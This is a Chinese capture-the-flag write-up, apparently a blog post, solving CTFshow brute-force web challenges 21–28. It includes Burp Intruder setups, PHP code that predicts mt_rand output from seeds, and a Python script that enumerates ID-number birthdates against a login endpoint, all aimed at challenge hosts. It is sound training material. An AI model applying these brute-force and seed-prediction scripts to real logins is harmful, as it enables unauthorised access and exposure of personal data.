[CTFshow] web入门 爆破21-28

CTFshow web入门 爆破21-28

web21

  1. 进去就要输账号密码,随便输入账号密码(admin-123)抓包

  2. 使用的是 HTTP Basic 身份验证,*YWRtaW46MTIz* 解码为admin:123

    GET / HTTP/1.1
    Host: 9f50e003-bdc6-4119-a157-ae5076b896e1.challenge.ctf.show
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate, br
    Sec-Gpc: 1
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: none
    Sec-Fetch-User: ?1
    Priority: u=0, i
    ***Authorization: Basic YWRtaW46MTIz***
    Te: trailers
    Connection: keep-alive
    
  3. 使用burp来爆破

    在需要被爆破的地方加上payload位置

    在这里插入图片描述

    添加前缀admin: 以及base64编码

    在这里插入图片描述

    开始爆破

  4. 爆破成功

    在这里插入图片描述

web23

error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
    $token = md5($_GET['token']);
    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?> 
  1. 复制到本地调试,大概就是经过md5后的值,要进入到最里面

  2. 修改一下代码,用于生成结果,1-10000md5

    for($i = 0; $i < 10000; $i++){
        $token = md5($i);
        if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
            if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
                echo "the number is :".$i;
                echo ";the md5 is: ".$token;
                break;
            }
        }
    // the number is :422;the md5 is: f85454e8279be180185cac7d243c5eb3
    
  3. token输入422得到flag

web24

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(372619038);
    if(intval($r)===intval(mt_rand())){
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
} 
  1. mt_srand(372619038); 是种子值 后续mt_rand()生成的值都是一定的

    本地调试

    mt_srand(372619038);  // 设置随机数生成器种子
    
    echo mt_rand();  // 生成并输出一个随机数
    echo "   ";
    echo mt_rand();  // 生成并输出另一个随机数
    echo "   ";
    echo mt_rand();  // 生成并输出另一个随机数
    echo "   ";
    echo mt_rand();  // 生成并输出另一个随机数
    // 1155388967   125197722   1461103528   623173601
    

    也就是说r的第一个值是1155388967

  2. r 输入1155388967 获得flag

web25

error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
    $r = $_GET['r'];
    mt_srand(hexdec(substr(md5($flag), 0,8)));
    $rand = intval($r)-intval(mt_rand());
    if((!$rand)){
        if($_COOKIE['token']==(mt_rand()+mt_rand())){
            echo $flag;
        }
    }else{
        echo $rand;
    }
}else{
    highlight_file(__FILE__);
    echo system('cat /proc/version');
} 
  1. 代码审计,$rand = intval($r)-intval(mt_rand());<=0 即可得到$_COOKIE['token'] ,所以我们输入r = 0 得到第一个0-intval(mt_rand())-1271613066intval(mt_rand()) = 1271613066

  2. 爆破出mt_srand ,使用**php_mt_seed** (ps:写了破解代码效率极低)

    在这里插入图片描述

    seed = 3592631133

  3. 检查是否正确

    mt_srand(3592631133);
    echo mt_rand()."   ";
    echo mt_rand();
    // 1271613066   393064451 (正确)
    
  4. 代码上r要等于第一次mt_rand,token需要等于 第二和第三次的和,构建数据包

    在这里插入图片描述

web26

  1. 这个可以爆

  2. 输入基本信息,抓包,爆破密码

    在这里插入图片描述

  3. 爆破成功即获得flag

web27

  1. 扫描,发现有录取查询系统,下载录取文件list.xlsx

  2. 发现身份证中间有八位被*号了,发现是出生年日,即要爆破出生年日

  3. 编写脚本

    # -*- coding: utf-8 -*-
    import requests
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    url = 'https://bbc06d78-44ff-4ced-8983-ad98d3956ebb.challenge.ctf.show/info/checkdb.php'
    class Getoutofloop(Exception):
        pass
    try:
        name = "祁落兴" # 姓名
        for y in range(1990, 2025):
            for m in range(1, 13):
                for d in range(1, 32):
                    id_num = f'410927{y}{str(m).zfill(2)}{str(d).zfill(2)}5570' # 身份证,需要复制明文的
                    data = {
                        "a": f"{name}",
                        "p": f"{id_num}"
                    }
                    res = requests.post(url, data=data, verify=False)
                    if 'success' in res.text:
                        print(f"Name is :{name},ID is :{id_num}")
                        print(res.text.encode('utf-8').decode('unicode_escape'))
                        raise Getoutofloop()
    except Getoutofloop:
        pass
    //
    Name is :祁落兴,ID is :410927199112015570
    {"0":"success","msg":"恭喜您,您已被我校录取,你的学号为12015570 初始密码为身份证号码"}
    
  4. 第一个学生登陆进去获得flag

web28

  1. 大海捞针

  2. utl为:http://385b4a8b-173b-49f1-8153-49aa5534e92e.challenge.ctf.show/0/1/2.txt ,说明 /0/1都是需要爆破的目录

  3. 使用burp抓包,发送到intruder模块

    删掉2.txt ,在目录上添加两个payload模块

    在这里插入图片描述

    设置payload,payload集1和2都一样的

    在这里插入图片描述

  4. 爆破到200状态码及获得flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值